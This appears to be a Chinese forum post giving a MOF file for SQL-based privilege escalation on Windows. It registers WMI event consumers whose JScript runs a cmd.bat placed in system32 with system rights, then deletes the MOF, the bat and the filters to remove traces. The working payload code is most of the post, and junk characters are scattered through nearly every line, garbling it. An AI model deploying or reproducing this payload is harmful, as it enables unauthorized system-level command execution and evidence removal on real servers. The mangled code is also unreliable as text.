这个sql提权MOF需要运行 system下的文件,不能定义路径。
! _: }( g0 \5 l$ b! V- d需要将要运行的命令写入到bat上传到system32目录,然后执行。
4 i1 i; U0 E' X c e% R
" w8 S; y% M- I% R- R6 D: U这个sql提权MOF需要运行 system下的文件,不能定义路径。
' q) h( u# k' H2 Z需要将要运行的命令写入到bat上传到system32目录,然后执行。
) Y1 d: r6 q* |% j4 u8 X
. q O; M J5 M7 k; k+ Z+ N3 }#pragma
; ]9 S! d4 I! @9 R2 u namespace("\\\\.\\root\\cimv2")
' @/ {# g; o; v# r8 V class
0 x; h6 V0 ~/ r9 D2 w# J0 ? MyClass5479 ^& _, F4 i' s# v( c( G2 c
{ [key]$ g% f- U4 ~5 o8 X C# i# m# b
string
: W: R% C2 D, D/ I$ \" Z% }0 Y' { G Name;3 L& e& R; g7 \2 N- p
};& H4 Y: w/ ]; h9 Q4 W9 j/ Q. A
class
$ O3 ^7 r3 O* V/ X ActiveScriptEventConsumer
" t/ d% H* l) Q. q& E B% Y1 | : __EventConsumer { [key]* _( b3 X4 \, o& n
string' ~! q# T/ o" ]8 J
Name; [not_null]0 v' a' B' J& u: [6 L
string
) X4 h# g2 ~/ p. Y5 u9 i# F ScriptingEngine; string) t: r( W7 A9 k* u: K8 E
ScriptFileName; [template]
/ R! z* x6 i: e" R# F string
; c( t3 j9 r5 y ScriptText; uint32 KillTimeout;; N a, @3 u# q1 z6 | s
}; instance of __Win32Provider as $P {
0 O7 V4 G% Q/ \# Q Name$ c* E2 i3 t+ }! Q' r1 L9 j
=2 O6 E( N( Y" X {) l
"ActiveScriptEventConsumer"; CLSID =
/ q2 |# C7 R+ i- B/ f5 N "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";) V3 T. g" [( ?
PerUserInitialization
) y' ]* C1 i0 H" O% f = TRUE;
9 `, X1 Z" s; A6 r: M }; instance of __EventConsumerProviderRegistration { Provider' Q6 S7 t J4 S8 G( }( N
= $P; ConsumerClassNames, k4 l; W. ]4 V3 c' y8 y/ j
=
6 J. k' t2 u$ n# [8 Z6 B {"ActiveScriptEventConsumer"};
$ F! O% E6 R$ F# f };! v- a# P; ]6 U! ~; A4 R7 Z
Instance of ActiveScriptEventConsumer
8 J$ h$ ~. b& P7 q9 q) h as $cons { Name& b$ }: m' l2 Y3 r/ T/ z, U7 |
=8 D% i& l$ _8 y2 C
"ASEC"; ScriptingEngine- j+ g/ H" \8 @% l4 [% M3 p( Q
=
7 H: z- b& r$ ~( J3 X/ ?+ f "JScript"; ScriptText
# u1 c0 v' E9 ?! @8 \9 Z) H, L =5 H t ?; ]- I
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
5 M/ y6 Q1 \6 _ i9 i5 a' v Instance of ActiveScriptEventConsumer% E. u* V' [# [/ ^
as $cons2 { Name
7 u; U0 q i# \& _, S, H3 a' ? =
' p" H" A% T5 J "qndASEC"; ScriptingEngine
% J' P Q& c" i/ z- y =( R, }/ J# c4 y! N, Q
"JScript"; ScriptText" e# P W1 w8 i1 Q, Y. }3 U$ B
=
5 I; _0 q, k E$ R# g4 n e "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
) O+ U U! u5 a0 l$ c }; instance of __EventFilter as $Filt { Name
8 T- P# ]( n( Q& M =2 m& S/ O& V( y; w4 l
"instfilt"; Query/ J$ n% A* F0 R( B" V+ x6 V
=! Z; q) ^+ q& C2 q) k ]) Y. t
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
# I' q7 Q( G; j$ |- R =, Q6 u! o" t+ w4 d" W
"WQL"; }; instance of __EventFilter as $Filt2 { Name
g+ G* s A, M$ e =
" }0 w. a o ?. T "qndfilt"; Query/ @. ~3 G2 F8 A& K/ H
=9 @7 m! o. D- }" `1 j" Z; v" a
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
+ ^7 |6 d d, o1 E: v8 L$ z5 v =$ Z! K, A( @0 E& X1 O( ? s0 n
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer3 r% c" H3 \; G3 _' `7 f$ ?
= $cons; Filter7 V9 j; g7 R" Z2 Z0 `
= $Filt; [4 g0 ] |/ X# r* y* y9 ?
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
9 T7 a' A/ K. r' k = $cons2; Filter$ }. P' K, @8 {+ X
= $Filt2;4 i7 i" K6 s: x' F7 ~
}; instance of MyClass547
( F9 S, u$ `: U- i1 L$ Q+ V as $MyClass { Name
7 D' z# Q1 ?5 g* L% f# o# H' e+ y+ Q =5 y3 P, w/ o& g
"ClassConsumer";
/ t0 A3 |2 b$ y& e }; |